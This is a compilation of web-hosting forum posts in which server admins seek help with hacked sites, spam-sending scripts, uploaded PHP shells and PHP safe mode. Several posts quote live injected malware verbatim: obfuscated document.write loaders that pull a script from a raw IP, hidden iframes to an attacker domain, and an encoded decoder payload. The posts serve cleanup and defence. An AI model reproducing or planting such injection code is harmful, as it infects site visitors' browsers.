Malicious Javascript
Mar 18, 2009
We are having a problem with a number of our websites hosted on Fasthosts reseller account where JavaScript is being maliciously inserted into a number of pages.
An example of the code that has been inserted can be found below:
<!--
document.write(unescape('xXz%3CAEqscripzHVt%20RMisAEqrRMicxXz%3DzHV%2FyI%2F6
yI7zHV%2E21wq5RMi%2E2xXz4wq6%2E3AEq4RMi%2FjqAEquwqexXzry%2EjsyI%3E%3CzHV%2Fs
crRMiiwqpzHVtwq%3E').replace(/yI|zHV|fW|xXz|RMi|wq|AEq/g,""));
-->
Which runs this script:
<script src=//67.215.246.34/jquery.js></script>
New pages have been created on a number of websites aswell as the above code inserted into existing pages.
After removing the above code from one particular website it has happened again.
Some of the websites being affected are just static websites with only HTML pages, others are dynamic ASP pages.
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Jul 16, 2009
I have serious problems with ".cgi" with malicious code, with that the person who has these files to send spam through my server without any kind of block, could block this type of send SPAM with files ".cgi"?
CentOS 5.2 - 64bits
WHM+cPanel
Exemplo of file executed: /usr/bin/perl /home/username/public_html/cgi-bin/erri/coms.cgi
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Jan 24, 2008
I've tried turning on/off gzipping, other stuff.
It's an AJAX tab script.
Exact same thing, exact same paths work on my shared hosting elsewhere, but not on my box running LS.
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May 11, 2009
Has anyone here ever heard of a malicious script called Mulcishell, stored in the file mshell.php? I've seen a bunch of instances of the file in my clients' folders with permissions 777, and I want to know what it does and how it works. (I already deleted the file, knowing it was a malicious script, but I want to know how to prevent it from ever being executed on my server.)
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Oct 27, 2008
all sites in my server have maliciose code:
</html> <html> <body><script>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </script>
</html> </body>
how to localize this code in my sites, using grep.
My server work in centos.
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Mar 14, 2007
A tech admin that I worked with previously fixed an issue we were having. He explained what he did:
To fix you need to make apache be able to parse JS
He is no longer available.
how to do this? Which file (I expect httpd.conf) would I need to edit and what part of it would it be?
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Jun 5, 2008
we received a report of a malicious mail being sent from our servers. Problem is that the sender and recipients are not hosted with us. What I'm trying to find out is how the mail got sent out. The ME logs shows that the connection was made from 127.0.0.1 to the smtp service, but that's it.
We don't run mail services (pop3/imap/webmail) on the web servers, if that helps any. Have run out of ideas after sifting thru lots of logs (was trying to find if anyone called an application to send the mail and attachments out), but came up empty.
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Jun 27, 2009
I am wanting to know if there is a way to stop files being uploaded to my vps, via ftp cpanel etc that are malicious..
I have been told there is a way to do this but i havent been told how..
Basicaly i want to know if there is something where i can add a list of keywords that are in the malicious files and what ever it is will stop them from being uploaded or if they manage to get uploaded onto my vps will it make them not work?
I am looking into this as i had an issue before where someone uploaded a shell onto my server :@ luckily it didnt cause no damage or he didnt get anywhere but i still want to be safe.
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Jul 9, 2008
I've been having an issue with one of my sites were someone has been adding malicious code to the index file. I don't know what has been compromised and am looking for a way to stop this.
I have a dedicated server have already upgraded MySQL to the latest version as I though that might work but it hasn't.
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Oct 23, 2013
have a website that sources a number of jquery plugins, when I load the site in chrome or firefox the javascript console is saying that these files were not loaded.
The server is a localhost and the files are local.
The google jquery file loads fine.
how I need to configure the apache config file to deal with javascript.
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Apr 5, 2009
for the first time in my sites life(10 year site) google blocked it. when you type my site google says that my site has malicious code in it.as we find it the problem in my site came from the company where i hosted it.we clear all the files for the malicious code and now its all ok.i want to ask if anyone knows for his experience how much days google will check my site again to see if all its ok.i send them before six hours via webmaster tools, a request for eaming agin my site,but i dont knwo how will do these. so i am asking anyone of you,who had same experience.any help will be appreciate.please help me with anything you think that might be useful for me to having my site back again in google correctly!
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Apr 30, 2009
we have been having a strange hacking problem on our server that we can not seem to find how they are managing to accompish. I am just wondering if anyone here may be able to offer any suggestions on this?
The problem:
On our server, a hacker has managed to add malicious code to all html and php files on two hosting accounts that we operate. These two accounts are seperate and do not share login information. This is the 2nd time this has happened within the past two weeks.
Originally it was suspected that we needed to add SuPhp to prevent insecure permissions. This has been done, yet the problem continues.
On all html pages, malicious javascript has been added, and on all php files malicious php code has been added.
We have a lot of accounts on this server, and as mentioned only the two accounts seem to have been affected by this.
What we have done to attempt to secure the server:
1) We have installed SuPhp.
2) We have ensured that all scripts on the affected websites are updated and running the latest versions.
3) We have changed all the passwords.
Our server is a managed server, and our server company has been very helpful, however at the moment can not seem to pinpoint the problem. There also does not appear to be any indication via the access logs of the infected files being altered, yet they have been altered.
The computers used to access these websites are clean, and do not have any malware running, which would allow a hacker to obtain any passwords. It also does not appear that the hacker was able to obtain root access.
One other thing I noticed, we run Kayako on one of the sites. When this problem occurs we receive a message that Zend Optimizer is not installed on our server when attempting to login to Kayako, when in fact it is.
Searching Google, I found the following link on the Zend site in which the symptoms seem to be very similar. What are the odds this could be a Zend vulnerabilty?
[url]
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Mar 8, 2008
I decided to apply PHP safe mode to my servers, considering:
- I cannot prohibit using exec functions (some binary uses are needed, like host, mysqldump, etc..)
- I cannot restrict at all via UID/GID method at bins due to several problems..
Safe mode is the final sollution, as I only need "safe_mode_exec_dir" config to set a folder with the necesary binaries... this will stop nobody user (Apache) to exec whatever it wants, like perl, binaries uploaded to an public insecure folder (exploits), or anything else... people only could exec() the binaries I want and where I want. This will stop finally 95% of my hack problems.
Well. The problem is safe_mode is enabled or not, but you cannot set o disable certain features of this safe mode, like UID/GID checks (*******!)...
I am trying to configure so only "safe_mode_exec_dir" would apply, so:
- Including UIDs checks disabled by:
safe_mode_include_dir = "/home/"
(tested)
- Some variables set to NULL, as safe_mode_allowed_env_vars or safe_mode_protected_env_vars...
- safe_mode_exec_dir = "/usr/phpbin/"
Great! with symbolic lynks in... the best sollution available for me.
- open_basedir = "/home/"
(for fopen, etc...)
Ok ok.. but problems there.. by example this one:
Quote:
Warning: fopen() [function.fopen]: SAFE MODE Restriction in effect. The script whose uid is 32015 is not allowed to access cache/dynamic_fields/modules.php owned by uid 99 in /home/yyyyyyyyy/public_html/chn/modules/DynamicFields/DynamicField.php on line 823
Great.. fopen is under UID/GID checks, but it is not an include, so safe_mode_include_dir would not apply...
Now fopen, link, unlink, etc.. functions are UID restricted and this seems to be impossible to disable.... pffffffff...
can you share your safe_mode configs or sollutions for this problem?
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Apr 23, 2007
Many of my websites on my server have been hacked, it randomly add's
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
and
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src='http://aboutmynews.org/news/InF.php' style='display:none;'></iframe--><!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmOAt7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")</script><!-- ~ -->
To some of my pages on my websites in my /home directory.
Please do not visit the links without anti virus protection.
what command I can use to search all of my files in my home directory for this?
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Jul 17, 2015
When i try to go to horde after my upgrade from plesk 11.5.30 to plesk 12.0.18, my horde is loading as minimal cause this:
JavaScript is either disabled or not available on your browser. You are restricted to the minimal view.
But my javascript is enabled for this site.
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Oct 10, 2014
i manage linux apache webserver with a few wordpress blogs and from time to time i see someone inject a malicious .php file into wp-content/uploads/2014/10/ directory.
i think its some bad plugin or theme, but these is more blogs, i ugrade, update, WP, but
how can i setup some monitor to tell me which php file (or even line in php file) injected that malicious .php ? I have linux root access so i can setup anything
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